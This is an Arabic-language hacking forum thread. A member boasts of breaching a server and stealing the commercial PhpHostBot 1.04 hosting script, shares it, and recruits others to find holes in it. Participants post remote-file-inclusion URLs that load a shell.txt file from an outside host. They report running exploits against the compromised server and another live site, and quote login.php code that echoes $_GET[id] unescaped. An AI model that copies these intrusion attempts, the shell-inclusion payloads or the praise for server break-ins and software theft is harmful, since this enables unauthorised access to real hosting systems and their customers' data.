PhpHostBot 1.04 سكربت الآآآن بين يديكم ^_^

mHKrk

السلام عليكم ورحمة الله وبركاته


بحمد لله قمت باختراق احدى السيرفرات .. واخذت منها السكربت PhpHostBot 1.04

وهو بــ 29 $


والآآن اريد اصحاب الاكتشافات ان يبحثو في السكربت لعل وعسى ان يكون به ثغره ....


عن السكربت

السكربت هذا يستخدمه اصحاب الاستضافات وهو يقوم بتخطيط الخطه ...

يعني وبختصار (( وش يبغا الـعميل تركيب وا وا وا و.... ))



زي ما قلتلكم افحصوه ونبي نشووفه انشاء الله في قسم الثغرات تحياتي


سلامي لكم



آضغط هنا لتحميل السكربت

التوقيع

آعجبني التصميم أضغط هنا لأضافتي

QTrXP

لا هنت يالغلا
جاري التحميل
ولي رجعة اذا فحصتة

mHKrk

انت الغلا ^_*

انتظركـــــــــــــــــــــــــــــــــــــــــ...

mHKrk

صوره للسكربت


http://www.pokemonfire.altervista.org/soosoo.JPG


تحياتي ....

SnakE ThE BosS

كفو كفو والله ...

تسلم يالذيب ولاهنت على السكربت ..

QTrXP

السلام عليكم
اولا السكربت ما فهمت وش وظيفتة ابدا
انا نصبتة في السيرفر اباتشي عندي
وهو مبين ان للستظافة

وحاولت افحصة وتطلعلي ثغرات عاد الله واعلم اذا نجحت
لانها فايل انكولد
بأذن الله بتنجح
http://localhost/Autohost/order/nobi...xxx/shell.txt?
انا جربت كذا ثغرة
لكن هذه طلعتلي فيعا اخطاء
قلت يمكن ما تصير في الاباتشي
ويمكن تصير في الاستظافة
جرب اخوي ورد علي
بالتوفيق

التوقيع

[ منتدى مخصص للدفاع عن النبي صلى الله علية وسلم http://www.whoismohamad.com/forums/

mHKrk

يسلموو

يا ذيب بجرب وبجيك


برب

mHKrk

حبيبي جربتها على السيرفر الي مخترقه انا والي سحبت منه الملفات جربت الاستغلال وطلعلي

Forbidden


جربتها على موقع ثاني

طلعلي

- No Billing
Please confirm your selections.

Client Account Details
Username
Email Address
Password hidden

Your Information
First Name
Last Name
Company Name
Country
State or Province
City
Street Address
Phone Number

Account Details
Domain Name
Desired Username
Desired Password hidden
Contact Email Address


وجربت اني ادخل الموقع بالباسورد hidden وحطيت الاسم admin

وماضبط لكن رحت لموقع ثاني طلعلي نفس الباسورد هذا يدل على انها ماهي ثغره

لكن انشاء الله انا وياك نطلع ثغره غصبببببببببببببببب


يعطيك العافيه اخوي ^_*

mHKrk

http://bill.byinternationalhosting.c...com/mhkrk.txt?

شف هذا استغلال قديم للصدار القديم


هذي استغلالك شفه


http://bill.byinternationalhosting.c...com/mhkrk.txt?



نخلق ثغره غصب انشاء الله ^_*

mHKrk

TD CLASS="tdmenu" COLSPAN="2">You have successfully logged in. [ <B><A HREF="<?php echo $svr_urlscript; ?>/order?page=order&id=<?php echo $_GET[id]; ?>">Click Here</A></B> ] to return to

هذي الاكواد بملف


order/login.php

افدنا الله يخليك على فكره برنامج JAAScoisX-Code ينفع لكن البحث اليدوي افضل


سلامي لك ..